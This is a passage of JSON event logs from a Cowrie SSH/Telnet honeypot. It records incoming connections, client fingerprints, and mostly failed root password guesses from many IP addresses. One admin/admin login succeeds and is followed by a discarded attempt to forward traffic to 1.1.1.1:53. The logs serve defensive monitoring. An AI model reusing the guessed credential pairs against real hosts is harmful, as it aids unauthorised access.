a-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:02.812921Z","src_ip":"103.27.238.120","session":"ecd9b8676cfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1991","message":"login attempt [root/1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:03.652211Z","src_ip":"103.27.238.120","session":"ecd9b8676cfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":43920,"dst_ip":"10.17.0.5","dst_port":22,"session":"27118fda7204","protocol":"ssh","message":"New connection: 43.156.136.152:43920 (10.17.0.5:22) [session: 27118fda7204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:04.293838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:04.299587Z","src_ip":"43.156.136.152","session":"27118fda7204","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:04.538339Z","src_ip":"43.156.136.152","session":"27118fda7204","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:04.926912Z","src_ip":"103.27.238.120","session":"ecd9b8676cfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2welcome","message":"login attempt [root/2welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:05.525406Z","src_ip":"43.156.136.152","session":"27118fda7204","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:06.767595Z","src_ip":"43.156.136.152","session":"27118fda7204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":48648,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceb99cb7c1bf","protocol":"ssh","message":"New connection: 103.75.183.219:48648 (159.203.135.109:22) [session: ceb99cb7c1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:19.912891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:19.924115Z","src_ip":"103.75.183.219","session":"ceb99cb7c1bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.60.55.150","src_port":40805,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b3a61c5a0f","protocol":"telnet","message":"New connection: 82.60.55.150:40805 (159.203.135.109:23) [session: 12b3a61c5a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:20.013688Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:20.167955Z","src_ip":"103.75.183.219","session":"ceb99cb7c1bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112233a","message":"login attempt [root/112233a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:20.899837Z","src_ip":"103.75.183.219","session":"ceb99cb7c1bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:22.146219Z","src_ip":"103.75.183.219","session":"ceb99cb7c1bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":35580,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d1ea9abc521","protocol":"ssh","message":"New connection: 192.169.243.246:35580 (10.17.0.5:22) [session: 1d1ea9abc521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:28.214426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:28.219765Z","src_ip":"192.169.243.246","session":"1d1ea9abc521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:28.296526Z","src_ip":"192.169.243.246","session":"1d1ea9abc521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwrod","message":"login attempt [root/passwrod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:28.630003Z","src_ip":"192.169.243.246","session":"1d1ea9abc521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:29.709347Z","src_ip":"192.169.243.246","session":"1d1ea9abc521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.348103761672974,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:32.361653Z","src_ip":"82.60.55.150","session":"12b3a61c5a0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":48314,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ef7919aa31c","protocol":"ssh","message":"New connection: 37.143.61.84:48314 (10.17.0.5:22) [session: 2ef7919aa31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:51.383932Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":21436,"dst_ip":"10.17.0.5","dst_port":22,"session":"c42803b88743","protocol":"ssh","message":"New connection: 87.251.64.176:21436 (10.17.0.5:22) [session: c42803b88743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:51.675060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:51.680488Z","src_ip":"87.251.64.176","session":"c42803b88743","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:51.777587Z","src_ip":"87.251.64.176","session":"c42803b88743","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:51.872135Z","src_ip":"37.143.61.84","session":"2ef7919aa31c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:52.007110Z","src_ip":"37.143.61.84","session":"2ef7919aa31c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:52.070474Z","src_ip":"87.251.64.176","session":"c42803b88743","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:52.169553Z","session":"c42803b88743","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:52.270238Z","src_ip":"87.251.64.176","session":"c42803b88743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:52.368097Z","src_ip":"87.251.64.176","session":"c42803b88743","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456QWERTY","message":"login attempt [root/123456QWERTY] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:52.503962Z","src_ip":"37.143.61.84","session":"2ef7919aa31c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:53.798598Z","src_ip":"37.143.61.84","session":"2ef7919aa31c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":44796,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca84b3e354c5","protocol":"ssh","message":"New connection: 43.228.112.254:44796 (10.17.0.5:22) [session: ca84b3e354c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:02.475087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:02.480577Z","src_ip":"43.228.112.254","session":"ca84b3e354c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:02.690735Z","src_ip":"43.228.112.254","session":"ca84b3e354c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:03.566418Z","src_ip":"43.228.112.254","session":"ca84b3e354c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:04.781414Z","src_ip":"43.228.112.254","session":"ca84b3e354c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36294,"dst_ip":"159.203.135.109","dst_port":22,"session":"27f67f976dbc","protocol":"ssh","message":"New connection: 103.195.236.96:36294 (159.203.135.109:22) [session: 27f67f976dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:18.444892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:18.454646Z","src_ip":"103.195.236.96","session":"27f67f976dbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:18.698553Z","src_ip":"103.195.236.96","session":"27f67f976dbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carlos","message":"login attempt [root/carlos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:19.443182Z","src_ip":"103.195.236.96","session":"27f67f976dbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:20.691510Z","src_ip":"103.195.236.96","session":"27f67f976dbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":47680,"dst_ip":"159.203.135.109","dst_port":22,"session":"9885a5ac636f","protocol":"ssh","message":"New connection: 103.122.221.179:47680 (159.203.135.109:22) [session: 9885a5ac636f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:30.521572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:39:30.526970Z","src_ip":"103.122.221.179","session":"9885a5ac636f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ss